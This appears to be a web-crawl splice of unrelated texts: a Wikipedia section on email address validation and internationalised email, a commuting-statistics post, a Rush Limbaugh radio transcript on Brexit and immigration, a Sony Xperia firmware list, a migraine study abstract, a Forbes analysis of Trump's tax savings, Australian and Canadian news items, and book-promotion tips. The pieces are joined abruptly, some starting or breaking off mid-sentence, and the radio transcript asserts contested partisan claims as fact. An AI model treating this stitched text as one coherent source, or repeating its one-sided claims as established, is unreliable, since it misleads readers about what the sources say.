Email addresses are often requested as input to website as user identification for the purpose of data validation. While there are companies that provide services to validate an email address at the time of entry, normally using an Application programming interface, there is no guarantee that it will provide accurate results.[23]
An email address is generally recognized as having two parts joined with an at-sign (@). However, the technical specification detailed in RFC 822 and subsequent RFCs are more extensive.[24] A regular expression can be used to check for all of these criteria, except that of bracketed nested comments.[25]
Syntactically correct, verified email addresses do not guarantee email box existence. Thus many mail servers use other techniques and check the mailbox existence against relevant systems such as the Domain Name System for the domain or using callback verification to check if the mailbox exists. This is however often disabled to avoid directory harvest attack.
Assuring an email address is of a good quality requires a combination of various validation techniques. Large websites, bulk mailers and spammers require fast algorithms that predict validity of email address. Such methods depend heavily on heuristic algorithms and statistical models.[26]
Many websites evaluate the validity of email addresses differently than the standards specify, rejecting addresses containing valid characters, such as + and /, or enforcing arbitrary length limitations. RFC 3696 provides specific advice for validating Internet identifiers, including email addresses.
HTML5 forms implemented in many browsers allow email address validation to be handled by the browser.[27]
Email address internationalization provides for a much larger range of characters than many current validation algorithms allow, such as all Unicode characters above U+0080, encoded as UTF-8.
Identity validation [ edit ]
Email addresses are the primary means of account activation (user identification and validation on websites), but other methods are available, such as cell phone number validation, postal mail validation, fax validation. Email address validation is accomplished by the website sending an email to the user-provided email address with a special temporary hyperlink. On receipt, the user opens the link, immediately activating the account. Email addresses are also useful as means of forwarding messages from a website, e.g., user messages, user actions, to the email inbox.
Internationalization [ edit ]
The IETF conducts a technical and standards working group devoted to internationalization issues of email addresses, entitled Email Address Internationalization (EAI, also known as IMA, Internationalized Mail Address).[28] This group produced RFC 6530, RFC 6531, RFC 6532, and RFC 6533, and continues to work on additional EAI-related RFCs.
The IETF's EAI Working group published RFC 6530 "Overview and Framework for Internationalized Email", which enabled non-ASCII characters to be used in both the local-parts and domain of an email address. RFC 6530 provides for email based on the UTF-8 encoding, which permits the full repertoire of Unicode. RFC 6531 provides a mechanism for SMTP servers to negotiate transmission of the SMTPUTF8 content.
The basic EAI concepts involve exchanging mail in UTF-8. Though the original proposal included a downgrading mechanism for legacy systems, this has now been dropped.[29] The local servers are responsible for the local-part of the address, whereas the domain would be restricted by the rules of internationalized domain names, though still transmitted in UTF-8. The mail server is also responsible for any mapping mechanism between the IMA form and any ASCII alias.
EAI enables users to have a localized address in a native language script or character set, as well as an ASCII form for communicating with legacy systems or for script-independent use. Applications that recognize internationalized domain names and mail addresses must have facilities to convert these representations.
Significant demand for such addresses is expected in China, Japan, Russia, and other markets that have large user bases in a non-Latin-based writing system.
For example, in addition to the.in top-level domain, the government of India in 2011[30] got approval for ".bharat", (from Bhārat Gaṇarājya), written in seven different scripts[31][32] for use by Gujrati, Marathi, Bangali, Tamil, Telugu, Punjabi and Urdu speakers. Indian company XgenPlus.com claims to be the world's first EAI mailbox provider,[33] and the Government of Rajasthan now supplies a free email account on domain राजस्थान.भारत for every citizen of the state.[34] A leading media house Rajasthan Patrika launched their IDN domain पत्रिका.भारत with contactable email.
Internationalization examples [ edit ]
The example addresses below would not be handled by RFC 5322 based servers, but are permitted by RFC 6530. Servers compliant with this will be able to handle these:
Internationalization support [ edit ]
Postfix mailer supports internationalized mail since 2015-02-08 with a stable release 3.0.0. [35]
Google has support for sending emails to and from internationalized domains, but does not allow the registration of non-ASCII email addresses. [36]
Microsoft added similar functionality in Outlook 2016 [37]
DataMail launches internationalized email support for 8 Indian languages using the XgenPlus email platform in India.[38]
Standards documents [ edit ]
RFC 821 – Simple Mail Transfer Protocol (Obsoleted by RFC 2821)
RFC 822 – Standard for the Format of ARPA Internet Text Messages (Obsoleted by RFC 2822) (Errata)
RFC 1035 – Domain names, Implementation and specification (Errata)
RFC 1123 – Requirements for Internet Hosts, Application and Support (Updated by RFC 2821, RFC 5321) (Errata)
RFC 2142 – Mailbox Names for Common Services, Roles and Functions (Errata)
RFC 2821 – Simple Mail Transfer Protocol (Obsoletes RFC 821, Updates RFC 1123, Obsoleted by RFC 5321) (Errata)
RFC 2822 – Internet Message Format (Obsoletes RFC 822, Obsoleted by RFC 5322) (Errata)
RFC 3696 – Application Techniques for Checking and Transformation of Names (Errata)
RFC 4291 – IP Version 6 Addressing Architecture (Updated by RFC 5952) (Errata)
RFC 5321 – Simple Mail Transfer Protocol (Obsoletes RFC 2821, Updates RFC 1123) (Errata)
RFC 5322 – Internet Message Format (Obsoletes RFC 2822, Updated by RFC 6854) (Errata)
RFC 5952 – A Recommendation for IPv6 Address Text Representation (Updates RFC 4291) (Errata)
RFC 6530 – Overview and Framework for Internationalized Email (Obsoletes RFC 4952, 5504, 5825)
RFC 6854 – Update to Internet Message Format to Allow Group Syntax in the "From:" and "Sender:" Header Fields (Updates RFC 5322)
See also [ edit ]Pavel Prikhodko, Ph.D. Machine Learning
According to the United States Census Bureau data for 2008-2012, more than half of all Americans commute to work every working day. Personal cars and public transportation are not the only modes of commuting, but they are the most popular. Year by year, walking and riding a bicycle are becoming more and more popular, and the corresponding infrastructure is developing rapidly. One can agree that walking and bicycling have a few advantages over motorized travel. They are healthier, ecologically pure and require less expensive infrastructure than other commuting modes. Of course, the distribution of the number of pedestrians and bicyclists in the states is not uniform. The city with the highest percentage of walkers is Ithaca, NY. Portland, OR has the highest percentage of bicyclists.
These maps show the percentage of workers who commute to work on foot or by bike. The size of the marker shows the total number of workers in the current city, and the color becomes redder as the percentage rises. As you can see, the percentages are not static in time. Generally, the number of bicyclists goes up but the percentage of walkers stays relatively stable.
Percentages are different for different social groups. According to ACS data, only 7.8 percent of American workers from age 16 to 24 use non-motorized travel, but this percentage is less than 3.9 percent in any other age group. Household income also affects the preferences of commuters. In fact, the poorest class who cannot afford cars are forced to commute to work by foot, public transportation or bicycles.
One more interesting (and expected) fact is that the percentage of non-motorized commuters depends on the travel time to work. It also explains why walking and bicycling is more popular in small cities than in larger ones: it is not needed to use vehicles or public transportation to commute to work.
Considering all this, non-motorized commuting is becoming more popular in the U.S. The increase is different for different social groups, climates, infrastructure and the size of cities.
Discuss this article on our forum with over 1,900,000 registered members.RUSH: 51.9% of Great Britain voted to skip out of the European Union. That’s a bigger number than Americans who voted for Obama. And Obama went over there in April and lectured them not to do this. It’s been a bad couple of days for Barack Hussein O. The Supreme Court shafts him on immigration. The British vote to leave the European Union. What else happened out there that’s not great for Obama? Oh, well. There are three things. I can’t remember them.
Anyway, great to have you here, folks, as we wrap up another week of broadcast excellence. The telephone number is 800-282-2882, email address, [email protected].
First thing I want to try to — my opinions here, using intelligence guided by experience. If you turn on the Drive-By Media today, and it really doesn’t matter even if it’s the non-Drive-By Media, the basic theme that you’re going to see is panic, disbelief, doom and gloom: Oh, my God, how stupid are those people in Great Britain. Do they know what they’ve done? No, they can’t possibly know what they’ve done. The idiots.
It’s gonna be portrayed as the beginnings of the world economic crisis and plunge, and none of that’s accurate. You know, they talk about the stock market was gonna start at minus 500 today, gonna be down 500. Well, okay, let’s see where it ends up today, ’cause that’s really gonna be the important number, and maybe even not today. I think the great thing that’s going on here, the interesting thing is the realization that it’s not just happening here in America, that people all over the world are rejecting whatever they think it is.
Now, some people are calling this a left-right split, you know, the right wing rising up and rejecting liberalism. I don’t think that’s actually what this is in the UK. I think more than anything it’s about nationhood. You know, everybody is talking about how it’s the end of Great Britain, they can’t survive economically. Look at what they get out of the European Union. People have forgotten, the sun used to never set on the British empire. The British empire ruled the world. The idea that the British people are hopelessly lost now is another of these never-ending insults at people who want to be self-reliant.
I think it’s natural as it can be that people would reject cronyism, which is what the European Union is, which is what the United States government has become. It has become cronyism, and it’s exclusionary. It doesn’t include everybody. The old order that the middle class — we discussed this at length yesterday — used to trust and believe in is shot.
The old standard philosophies of work hard and try to live the best life you can and there will be a payoff at the end, fewer and fewer people trust it anymore ’cause to them the game is being rigged and it’s being rigged by the elites and the people in power to benefit only them at the expense of everybody else. And the one issue that illustrates this better than any other is immigration.
People imbued with common sense cannot understand why, either in Great Britain, or in Germany, or in the United States, the people that run the show would want to leave the borders wide open and allow the nations to be flooded with people who are not going to end up advancing the nation. They don’t understand why the elites and the cronies would leave the borders wide open in such a way as to actually do damage to the nations where this is happening.
It’s not racism. It’s not sexism. It’s not bigotry. All of the things that the elites and their media cohorts are gonna try to chalk this up to, it’s not about any of that. It’s about a desire to be self-reliant because they just don’t trust the people who claim to have all the answers and solutions for all the problems. They don’t trust the elites anymore. They don’t trust the ruling class. The ruling class has made a mess of pretty much everything.
The middle classes in all of these countries have been very patient. They have invested, they have voted for, and they have supported all of these efforts made by the elites. They have believed what they have said. They believed that these trade deals, for example, were gonna improve life, were gonna raise incomes. They’ve been patient. They’ve waited 20, 25 years for the elites’ promises to materialize. And they haven’t.
And not only have the promises not materialized, situations are deteriorating to the point that, in this country you have 94.7 million people not working. In the European Union, in places like France you’ve got 14% unemployment, but none of the pain and none of the so-called suffering, none of the obstacles seem to affect the ruling class. None of the challenges, none of the problems seem to impair the elites in any way.
And it’s taken a while, but people have finally figured out what Trump is talking about, that things are rigged. And even if they’re not specifically able to point out situation by situation, it’s inescapable by virtue of living your life that there is a rigged game going on that you’re not allowed to play.
So I really think it’s important here to be correct as we can in understanding why this happened. And I would love to tell you that I think this is a bunch of people becoming conservatives overnight and rejecting liberalism. Some of that clearly is involved here, but I think a lot of it is simply — I don’t want to say populism, but there’s a lot of nationhood going on, a lot of people who simply want their country to be great. And isn’t it amazing how that is now under attack?
People that desire a strong nation where they live, somehow that’s a negative, somehow we must attack that. We call it populism. We call it nationalism. It’s horrible. Nationalism, how do you explain the British empire? How do you explain the United States becoming the world’s lone superpower? We didn’t do it by joining some group. We didn’t do it by having a leech run the show. That’s not at all how we attain greatness, and this is what people are finally realizing. There’s nothing great in the EU. France wants out, a number of other nations want out.
Now, interestingly, the vote in Scotland was to remain part of the EU. You know why? Because the problems haven’t reached that far north in the UK. The immigration problems haven’t reached that far north and a number of other problems haven’t. They simply haven’t experienced the problems. And I also think… I’m not fully informed. I’ve spent as much time as I can on this. But I think Scotland is hugely dependent — in a welfare sense — on the UK and wherever they can get it.
It’s not meant to be a slight. I’m just trying to give you an accurate political and economic analysis why people voted the way they did. There’s talk here that Scotland may now vote to secede from the United Kingdom, they’re so upset about this. But here’s another thing to keep in mind, too. It is gonna be rough. This is not a magic, overnight solution where tomorrow is a brighter day. This is the beginning of a process gonna take two years, and it’s fraught with many, many pitfalls.
And I’m gonna tell you to look out for this, too. From this point forward, anything that goes wrong — be it economic, be it cultural, I don’t care what it is. Anything that goes wrong — if there is a rise in the crime rate, if there is an increase in the murder rate, I don’t care what it is — it’s gonna be blamed on this vote. It will be blamed on the exit from the European Union. Now, what happens now is we have a two-year process whereby or wherein Great Britain will disentangle itself from the European Union in Brussels.
There will be terms that have to be negotiated here. And, by the way, don’t expect the elites to just sit by and let this happen. This two-year process here, this disentangling process, I’m sure the elites are gonna look at it as plenty of opportunities to thwart this whole thing. Many American companies that do business in the UK and use their business in the UK as the starting point or the entry point for business in the European Union at large are now gonna have to decide what they want to do.
If they’re doing business with the UK simply as an entree to the European Union at large, do they stay in the UK? Do they abandon it and find some other launching pad, if you will, for business and trade or what have you, within the European Union? You’re gonna have up-and-down stock markets, roiling markets. And the doom and gloom pessimists are going to be in full-flower form. They are going to be predicting the absolute worst. They are going to guilt-trip the people that voted to exit.
They’re going to try to make it look like this is the worst thing that could ever happen, maybe the worst thing that has happened. Already Alan Greenspan is out there saying this is the worst calamity for the markets since 1987. He thought he would never see it again, he says. And 1987 is when the stock market lost 23% of its value in one day. And he’s saying this is the absolute worst that can happen. In point of fact, the opportunity here is immense and the statement is powerful.
This is a nation of people rising up against the ruling class and the elites and — make no mistake about it — cronyism. By cronyism, I mean EU leaders in bed with each other and powerful forces within all the member countries to grease the skids for their own existence, to make sure they are protected and taken care of economically at the expense of everybody else. It’s exclusionary. It’s almost a caste system. You have the upper class — and this is a big difference from the way it used to be. Even in this country and even in Great Britain, even in the days of aristocracy…
Well, maybe not the aristocracy. Certainly in the post-aristocracy days of Great Britain, the one thing — and it’s true about this country as well — was the upper class or upper classes were not aloof from the other classes. They socialized together. They intermingled. They intermarried. They went, in many cases, to the same schools. But in recent decades the elites and the upper class and the rich, whatever you want to call them — both here and around the world, but particularly in the Western European socialist democracies — have drawn clear lines of demarcation that dare not be crossed.
The elites, the rich, the ruling class have finally made no pretense about it. They act as though they’re betters; they treat everybody else as though they are lessers. There are lines of demarcation. There are no intermingling social activities. They don’t go to the same schools anymore. They don’t go to the same churches. The upper class and the elites are now officially snooty, looking down their noses at everybody else.
And it’s reached a point now where people not in that august, small group are not going to take being ignored and impugned and laughed at and used and lied to anymore. It really isn’t any more complicated than that. Now, if you want to toss in ideologies at this point and discuss, “Well, how much of this is liberalism?” you could say that much of it is, in terms of the attitudes and the arrogance and condescension.
That’s clearly part and parcel of liberalism. But I don’t think the people that voted to leave the European Union did so on liberal-conservative grounds. I would love for it to be the case, and that certainly may be an element of it, but there are other things that I think are a little bit more relevant than that. And, of course, it’s Open Line Friday, so you’re gonna be able to weigh in on this. Be interesting to see what you think about it. We’ve got a lot to untangle and explain here. We’ll get started with all the rest of it right after this.
BREAK TRANSCRIPT
RUSH: Welcome back. El Rushbo. Cutting edge, societal evolution. Happy to have you here. Another broadcast week coming to an exciting conclusion.
Make no mistake about it. Look, folks, I’m trying to explain the central thing that causes this is immigration, but the “why” is also fascinating to me because I think this is a teachable moment. I think this is truly, truly momentous, what has happened here. And the elites know how momentous it is. They are in abject panic today. This is the kind of thing they think they are able to control. This is precisely the kind of thing that their power and their cronyism, in their minds, is designed to stop: An uprising of common people.
This is not supposed to happen, and the central issue here is immigration. Up until this flood of refugees and illegal immigrants from war-torn areas of the Middle East… If you want to pinpoint who’s really to blame for this (because this is the result of an accumulating series of events), it’s Angela Merkel welcoming 800,000 illegal immigrants, military-aged males from war-torn Syria — with the news that many of them were ISIS sleepers and so forth — and bragging about how she needed that many in order to rebuild the German labor force.
That opened everybody’s eyes. There were some on the fence about immigration. Immigration is one of these issues that you can be easily guilted. You can be guilt tripped into supporting it. All you have to… Somebody hears that you’re opposed to it and they call you a name. They call you a bigot or a xenophobe or a nationalist or a populist or a racist or what have you. And it’s designed to intimidate you into shutting up and not expressing your views on this. And for the longest time, those practices worked, and they’ve worked in the country as well.
But there’s always a tipping point.
Angela Merkel was the tipping point, and that just illustrated it. Greece?
It’s a series of things.
But the central occurrence, the central seminal event is out-of-control immigration that benefits the elites somehow and is an abject, inarguable detriment to the vast majority of the people who live and get up and go to work every day. Same thing in this country. The elites don’t care. They are not responsive to public opinion on this. They instead want to force their own desires on everybody else. And after a while, even the tolerant, even the absorptive, even the patient people of Great Britain had reached their boiling point. And then all these other things that cumulatively occurred before this massive latest round of immigration began, had greater resonance and we got what we got yesterday.
BREAK TRANSCRIPT
RUSH: I want to read to you an excerpt here. I’ve got a story on the Brexit vote from the Ludwig von Mises Institute. (interruption) Are you familiar with the von Mises Institute? (interruption) It’s a real place, a bunch of libertarians. (interruption)
You thought the Ludwig von Mises…? (interruption) What do you mean? (interruption) You thought it was like an Onion site? (interruption) No, no, no, no. Ludwig von Mises was a seminal character in economics. I’ve had my ups and downs with these people over the course of the many years of the program, but I just want to read to you an excerpt from a piece that ran on their website, Mises.org. And it’s not M-e-e-s-e-s. It’s M-i-s-e-s. A lot people mispronounce it, Ludwig von “Misses,” but it’s von Mises.
You have to know foreign dialect and the language to understand that.
Here’s the pull quote paragraph: “Ultimately, Brexit is not…” These are libertarians for the most part. “Ultimately, Brexit is not a referendum on trade, immigration, or the technical rules promulgated by the (awful) European Parliament. It is a referendum on nationhood, which is a step away from globalism and closer to individual self-determination. Libertarians should view the decentralization and devolution of state power as ever and always a good thing, regardless of the motivations behind such movements.
“Reducing the size and scope of any single (or multinational) state’s dominion is decidedly healthy for liberty.” Now, very little to quibble with in that philosophical sense, but I disagree with them when they say that “Brexit is not a referendum on trade, immigration, or the technical rules promulgated by the…” I think there are a lot of things, as I say, that will have a cumulative effect on things. But it’s this massive open-border policy that brought the whole thing down, that awoke everybody.
Not just in the UK, either. I mean, this is a sentiment. You know, leaving the European Union is something effervescing throughout many nations that are members. But they’re right about the nationhood aspect of this. And isn’t it… I’m gonna have more on this as the program unfolds, but isn’t it fascinating to watch most of the media and most of the leftists decry the whole concept of nationhood, criticize and rip the whole notion that people should even think as members of nations? “That’s just so yesterday!” And it isn’t.
BREAK TRANSCRIPT
RUSH: To the audio sound bites. Here’s Art Laffer. Art Laffer was largely responsible for the Reagan tax cut plans in the 1980s. He was on Fox News Live very early this morning, and the host, the Fill-In Co-Host with Leland Vittert.
And Leland Vittert said, “You had Margaret Thatcher come in a real conservative revolution in the United Kingdom, shortly followed by President Reagan’s election. Give us a sense — are we seeing this populist revolution there in the United Kingdom with this leave the EU vote? — how that factors into a Donald Trump candidacy who is so much staked his platform on the immigration issue that was a big part of the [Brexit] campaign?” How do you see all this, Mr. Laffer?
LAFFER: The two are very similar. It’s a very similar type of political movement both here and in the United States. You had Thatcher and then you had Tony Blair, both of them very conservative. One of them equivalent of a Republican; the other equivalent of a Democrat. Just like you had in the US with Ronald Reagan and Bill Clinton, both of them very pro-growth — and, you know, you had this experiment done with W and with Obama. It hasn’t worked here. And with Gordon Brown and with Cameron; it just hasn’t worked there either. We need tax cuts, pro-growth agenda, and we need spending cuts. And that’s, I think, exactly where the world’s going right now. I’m very elated by what’s happening. It’s the exact same thing, and it’s a very exciting new era going back to Thatcher and to Reagan, which portends very well for the world economy.
RUSH: And let’s go back and listen to Obama back on April 22nd. He went over to London at a joint press conference there with the prime minister, David Cameron.
OBAMA: I think it’s fair to say that maybe some point down the line there might be a UK-US trade agreement, but it’s not gonna happen any time soon because our focus is in negotiating with a big bloc of the European Union to get a trade agreement done. And the UK is gonna be in the back of the queue, not because we don’t have a special relationship, but because, given the heavy lift on any trade agreement, us having access to a big market with a lot of countries rather than trying to do piecemeal trade agreements is hugely inefficient.
RUSH: So the UK is gonna be back at the end of the queue, and Obama’s — he’s threatening them. This is all about the Brexit vote. It was not mentioned in the bite, but he’s over there campaigning, and he’s warning the people in the UK, “Hey, you know what, if you like trade with the US, and if you benefit from it, you better realize that if you branch off and you leave the European Union, you’re gonna be at the back end of our queue. Meaning you’re gonna be at the end of our line. We’re not gonna be interested in making a trade deal with you, you little Podunk nation. We want to make deals with the entire European Union.”
This whole concept — and, by the way, Obama doesn’t carry weight, and this is other evidence. Obama does not have endorsement coattails. I think this was all part of what led to the vote yesterday. I think Obama is the American representation or representative of the European Union elites that the people of the UK — and not just the UK, France, any number of UK nations have now developed a big resentment for — they’ve lost any affection or trust, because they’ve seen, it’s no longer opinion.
The European Union is not about the economic advancement for everyone.
These trade deals, I’ve often asked people why do they need to be so complicated? What is free trade? Like this Trans-Pacific Partnership, why do you need thousands of pages so secretive that even members of Congress are not allowed to have a copy? They have to go over to some private room, go down in the basement, read it. They can’t take notes. They can only read it and chalk it up to memory and then leave. What in the world could possibly be free in that? And why does anything called “free trade” require any more than one page?
Well, I know, the question answers itself. I’m trying to illustrate that genuine free trade would take one sentence. Nation A will have no tariffs on the imports of goods and services from nation B. Nation B will not charge nation A any tariff or additional tax. You want to trade with us, fine. But no, they don’t end up that way, because free trade deals don’t end up being trade between nations. They end up being trade deals between cronies. And that’s how you end up having middle-class people lose their jobs, because the whole concept of nationhood vanishes.
The European Union doesn’t have any concept of nationhood. And, by the way, having a concept of nationhood, now that’s under assault. You know, being an American, wanting to be an American, wanting your country to do well, wanting your country to win, somehow that’s not good. That’s not modern thinking. That’s not mature thinking. We can’t think that way anymore this year. We can’t think of ourselves as a nation competing against other nations. We are globalists now. We are all intertwined. We are all intermingled. And the benefit for one benefits the all and all this rotgut.
That’s not how we became a superpower. It’s not how the British empire came to be. And, by the way, the British empire was, aside from people and their attitudes of colonialism, the British empire was good for everybody that benefited from it. And the same thing with the United States as a superpower, became a solution to the world’s problems. Now, cutting us down to size and making us no different than any other nation in the world, which is what Obama and his cronies want to do, is what is harming and brewing detrimental.
And they do it with the belief that a powerful United States, a super powerful United States was a problem in the world. And it was because they didn’t control it. It’s really insidious, this attack on people. They call it nationalism. They link it to populism, and it’s supposed to be automatically bad, it’s supposed to be representative of small thinking, selfish thinking, exclusionary thinking. And it’s nothing of the sort. It’s just pride in where you live.
I’ve never understood this. Well, I understand it intellectually, but I don’t understand it economically or any common sense way. There’s nothing wrong with being American. There’s nothing wrong with wanting America to be great. But look at the way Trump’s campaign is even impugned and maligned, “Make America great.” They just laugh. They mock it. Who could possibly think in those old, antiquated terms. Well, a hell of a lot of Americans do, and they’re gonna find out in November how many |
firmware files for each variant for each device below as they become live.
If you have downloaded the update, please share your impressions with the community including screenshots. We would love to hear what’s different over and above Android 5.0.2 Lollipop, so please don’t hesitate to post your feedback below.
Sony Xperia Z3 Compact FTF firmware files – Android 5.1.1 Lollipop (23.4.A.0.546)
Xperia Z3 Compact (D5803) 23.4.A.0.546 Baltic Generic (Android 5.1.1)
Xperia Z3 Compact (D5833) 23.4.A.0.546 Singapore Generic (Android 5.1.1)
Sony Xperia Z3 Tablet Compact FTF firmware files – Android 5.1.1 Lollipop (23.4.A.0.546)
Xperia Z3 Tablet Compact Wi-Fi (SGP611) 23.4.A.0.546 Nordic Generic (Android 5.1.1)
Xperia Z3 Tablet Compact Wi-Fi (SGP612) 23.4.A.0.546 Italy Generic (Android 5.1.1)
Xperia Z3 Tablet Compact LTE (SGP621) 23.4.A.0.546 Hong Kong Generic (Android 5.1.1)
Sony Xperia Z3 Compact Android 5.1.1 screenshots (23.4.A.0.546)
[Via XDA]
Pressing volume up/down now brings you the graphic on the left below. Tapping the button on the right expands the volume menu.
Tapping the icon on the left side twice puts the phone into silent mode.
New icons for the ‘Settings’ menu.
Home launcher settings now allow you to change icon size
Thanks Boris, fijasko and Sadman!The possible relationships of migraine to left-handedness and left-eyedness, as well as sex and aura-related differences, were examined. 146 migraine patients (M age=32.1 yr., SD=9.5) and 141 controls (M age=30.0 yr., SD=9.3) participated. Hand preference was assessed by the modified version of the Edinburgh Handedness Inventory. Ocular dominance was measured by means of the near-far alignment test. Migraine diagnoses were made on the basis of criteria provided from the International Headache Society. In the overall sample and in women, left-handedness and left-eyedness were not significantly correlated with migraine. In men, the incidence of left-handedness and left-eyedness were significantly higher in patients than in controls. The presence of aura in patients with migraine was significantly associated with the incidence of left-eyedness and crossed hand-eye dominance, but not handedness, for the total sample and women. These results suggest that there may be a tendency towards anomalous dominance, especially left-eyedness, in migraine patients particularly those with aura.It is clear that President Donald Trump is set to save millions if he signs the Republican tax plan, but exactly how much? Forbes crunched the numbers: It looks like up to $11 million a year from a single rule change.
That estimate is based on the amount of money Trump earned in 2005, the most recent for which we have evidence of how his tax filings break down. The savings will come from earnings in pass-through entities—businesses that are not subject to corporate taxes but instead pass income to their owners, who pay individual rates. In 2005, Trump declared $67 million in income that appears to have come from pass-through companies, according to four tax experts who reviewed the filing on behalf of Forbes. In addition, he earned another $42 million categorized as business income, which may or may not have come from pass-through entities, experts said.
Boil it down and it works like this: Trump should save about 10% of all business income that he can push into pass-through entities (surely most, if not all, of his day-to-day profits -- capital gains and any salary would be treated differently.)
"You've given the majority of his income a tax break," said New York City real estate accountant Kenneth Weissenberg. "He's benefiting, not just from the direct tax benefits but the increase in the value of his holdings."
A spokesperson for the Trump Organization did not immediately respond to a request for comment.
The new bill allows people to deduct up to 20% of the income they get from pass-through businesses. In an apparent effort to stop people from acting like they operate pass-through entities just to get a 20% discount, the Senate version of the bill capped the amount of tax-free income at half of all wages paid to employees. That way real businesses, with lots of people working for them, can get big tax breaks. And holding companies that had one or two people cannot.
It is not known exactly how much the Trump Organization—which is structured as a constellation of LLCs and partnerships—pays all of its employees. Five White House employees who used to work in the president’s business earned a combined $4 million in 2016 and the first few days of 2017, according to their financial disclosure reports. Ivanka Trump, who earned $2.5 million, accounted for most of that. Lawyer Jason Greenblatt made $1 million.
If Trump paid his employees any amount above $27 million, he would be able to deduct the full 20% on $67 million in pass-through income. In addition, the new tax bill would lower the rate he pays on the leftover 80% of the income, from 39.6% to 37%. Take those together, and it adds up to millions in potential savings every year.
If Trump does not pay his employees at least $27 million, he should still be able to save the same amount of money, thanks to a last-minute addition to the plan. Buried on page 561 of the 1,097-page document sits a new provision—which was not included in the earlier Senate draft but added in the version released Friday night—offering an alternative route to big deductions, first identified by the International Business Times.
Under the new rules, the amount people can get tax-free is capped at either half of what they pay their employees or 2.5% of the value of all depreciable assets at the time of their purchase. The latter provision would benefit businesses that do not pay much to their employees but own, say, a collection of valuable buildings.
Excluding branding businesses, cash and golf courses (whose value is mostly land and therefore does not depreciate like buildings), Forbes counted $3.3 billion of assets before debt in Donald Trump’s portfolio in September. It is hard to know exactly what Trump paid for all of those assets. But even if he bought them for just one quarter of what they’re worth now, or $825 million, the new formula would allow him to deduct up 2.5% of that, or $21 million, plus 25% of what he pays his employees in wages. That $21 million figure alone means Trump could take the full 20% deduction on pass-through earnings up to $105 million.
"The new code is definitely going to have the most impact for real estate investors," said tax attorney Robb Longman. "Those are the individuals who have used pass-through entities in the past."
The House of Representatives' plan for pass-through businesses, which did not make it into the final bill, could have saved Trump even more money. That plan would have taxed all pass-through income at 25%, saving Trump an estimated $16 million on $110 million on pass-through income and $9.8 million on $67 million.
Some components of the new bill could hurt the president’s business. He still owns more than 30 residential units in New York City, worth an estimated $227 million. Every year, he sells a few of them and pockets the profits. But because the new tax plan will limit deductions on mortgage interest and state taxes, demand for New York City homes may suffer. That could in turn impact the value of Trump’s holdings. It is not clear how large the effect would be, but a drop of, say, 1% would erase an estimated $2 million from Donald Trump’s personal fortune.
Like other millionaires and billionaires, he will gain some ground with new rules to the estate tax. Under previous provisions, married couples could leave $11 million to their heirs before handing over about 40% of their remaining assets to the government. The new rule doubles that limit to $22 million, meaning Trump’s children will likely get an additional $4.4 million tax break on their inheritance.
“Does this reduce Donald Trump’s tax bill?” said Daniel Hemel, a tax law professor at the University of Chicago. “I know he claims that it doesn’t, but that’s an increasingly incredible claim.”Stop and search laws should be dumped: Greens
Updated
The WA Greens say the Government must abandon its proposed stop and search laws in light of the case of Taser misuse in which an unarmed man was stunned 13 times.
The Aboriginal man was tasered by two policemen at the East Perth Watchhouse in 2008, while nine other officers watched.
Premier Colin Barnett says he believes police can be trusted to use the stop and search laws responsibly.
But Greens Leader Giz Watson says police should not be given any more powers.
"Stop and search laws overextend what is reasonable in terms of providing police with the powers to do their job," she said.
"If you combine the proposed new stop and search provisions with these matters to do with inappropriate use of Tasers by the police then you've got a very worrying situation arising.
"The last thing we want to do is to provide them with an opportunity to be asking people who are not suspected of anything to submit to searches."
Topics: police, states-and-territories, perth-6000, wa
First postedWeb Staff, cp24.com
With the clock ticking and time running out, York Region residents are bracing for several possible transit strikes that could create commuter chaos beginning early Monday morning, as negotiation talks with at least one group seem to have stalled.
Ray Doyle, president of the Amalgamated Transit Union Local 1587, said that the union had not been presented with a counter proposal, and that no requests for further negotiations have been made since workers overwhelmingly rejected the latest offer from First Transit and Miller Transit on Thursday.
The union says 95 per cent of staff voted against the most recent contract offer and are prepared to walk off the job at midnight Sunday, affecting Monday's commute.
For a list all possible affected routes, click here.
Doyle said a stoppage would affect roughly 60 per cent of the entire transit service for York Region. Bus routes in northern and southeast York Region, including Newmarket, Georgina Keswick and parts of Richmond Hill and Markham, will be disrupted.
Staff working the overnight shift on Sunday have been instructed to continue their duties until their shift is over.
"Nobody will be stranded without a ride home," he said, but come Monday morning: "People will have to look at carpooling and finding alternative ways to work and getting around."
Doyle said the union will stay at the negotiation table throughout the weekend in an attempt to avoid a strike that would paralyze public transportation in the 905.
Two other transit strikes are also threatening the region.
GO Transit workers and York Regional Transit's VIVA division which services the rest of the area, are also in heated negotiations ahead of the Sunday night deadline.
GO Transit said although its bus service would be compromised if bus drivers walk off the job, its commuter trains would continue to operate.
While talks are ongoing, Doyle said that as far as he is concerned, the talks are not going well and all three groups negotiating with York Region will likely go on strike at midnight Sunday.
Viva workers rejected a contract offer Wednesday night. GO workers have yet to vote on a contract offer.
Vasie Papadopoulos, spokesperson for Metrolinx, released a statement Thursday saying officials "continue to be optimistic that an agreement will be reached" with ATU 1587, the union representing GO Transit bus drivers, ticket sellers, maintenance personnel, transit enforcement and some office staff.
"Our primary concern is to negotiate a fair collective agreement," she said. "We are hopeful that a negotiated settlement can be reached."
Doyle said unionized workers are fighting for better pay.
"Employees and drivers in York Region are working for up to 40 per cent below any other transit system in the GTA," he said. "Even employees recognize they are badly underpaid."
Doyle encouraged member of the public to call their councillors and mayors to encourage York Region to get involved in the ongoing talks.
- With files from The Canadian PressYou’ve tried putting your book on all the usual sites, getting reviews and talking about it on forums and still you aren’t getting the sales you imagined. What can you do to improve this situation? Here are ten lesser-known insider ways to publicize your book.
1. Engagement, engagement, engagement
It’s not going to be enough to rock out a load of reviews and post your book on all the usual websites. It’s akin to spreading your wares very beautifully on a market stall that nobody can see. You’re going to have to get in deep with forums, groups and reading clubs and start leaving relevant and informative comments about how you found writing your book. You’re going to have to spend time signing up to websites and learning how to comment. Soon enough you’ll see your traffic go up if you leave good information for others. Try Linkedin, KDP forums and Goodreads forums for a start.
2. Go local
There must be a ton of local fairs and markets near your house every week. Find out about special events such as Over 50s events, book fairs and school fetes. Having a stall will not be anywhere near as expensive as at a national book event, and you’ll make a local network to expand on. Offer candy, signings and free literature such as zines can draw people in to consider purchasing a hard copy of your book. Alternatively, run a “free coffee and cupcake” day at a local cafe to get folk interested in your book.
3. Twitter Amazon hashtag
There are many Twitter hashtags to consider using every time you talk about your book online (Here’s 100 of them), but adding #AmazonCart to your Amazon linked tweets means that if someone replies to that tweet, your book will be added automatically to their cart. Adding #AmazonWishList will add the book to their wishlist.
4. Giveaway Swap
